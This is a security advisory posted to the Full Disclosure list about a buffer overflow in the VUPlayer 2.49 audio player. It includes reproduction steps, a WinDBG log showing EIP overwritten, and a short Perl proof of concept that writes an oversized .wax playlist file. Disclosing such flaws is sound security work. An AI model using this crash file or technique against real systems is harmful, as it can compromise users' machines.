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Subject: [FD] VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2016-07-27 8:43:12
Message-ID: b7f32006-8902-a930-0b3a-cb59aaf37299 () vulnerability-lab ! com
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Document Title:
===============
VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1877
Release Date:
=============
2016-07-26
Vulnerability Laboratory ID (VL-ID):
====================================
1877
Common Vulnerability Scoring System:
====================================
6.4
Product & Service Introduction:
===============================
VUPlayer is a freeware multi-format audio player for windows.
(Copy of the Vendor Homepage: http://vuplayer.com/vuplayer.php )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow \
vulnerability in the official VUPlayer v2.49 software.
Vulnerability Disclosure Timeline:
==================================
2016-07-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official VUPlayer v2.49 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local \
software process.
The classic buffer overflow vulnerability is located in the software VUPlayer. An attacker can \
manipulate the bit EIP register in order to execute the next instruction of their choice. \
Attackers are able to for example execute arbitrary codes with process privileges. The \
attacker includes a large unicode string to overwrite the EIP register of the process. Finally \
the attacker is able to takeover the process by an overwrite of the active program process to \
compromise the computer system.
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common \
vulnerability scoring system) count of 6.4. Exploitation of the vulnerability requires a low \
privilege or restricted system user account without user interaction. Successful exploitation \
of the vulnerability results in computer system manipulation and compromise of the computer \
system.
Affected Extension(s):
[+] .wax
Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system \
user account and without user interaction. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Launch VUPlayer.exe
2. Run the code in perl and a file format (.wax) will create
3. Click File - Open a playlist
4. Select the file (.wax)
5. Software will crash with
6. Successful reproduce of the local buffer overflow vulnerability!
--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=022866c4 ecx=41414141 edx=00000000 esi=01640044 edi=0014efa8
eip=41414141 esp=0014ec3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
Note: EIP, EBP & ECX overwritten
PoC : Perl Exploit (*.pl)
#!/usr/bin/perl
my $Buff = "x41" x 1200;
open(MYFILE,'>>File.wax');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwXn";
Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the vuplayer software core is \
estimated as high. (CVSS 6.4)
Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]
Disclaimer & Information:
=========================
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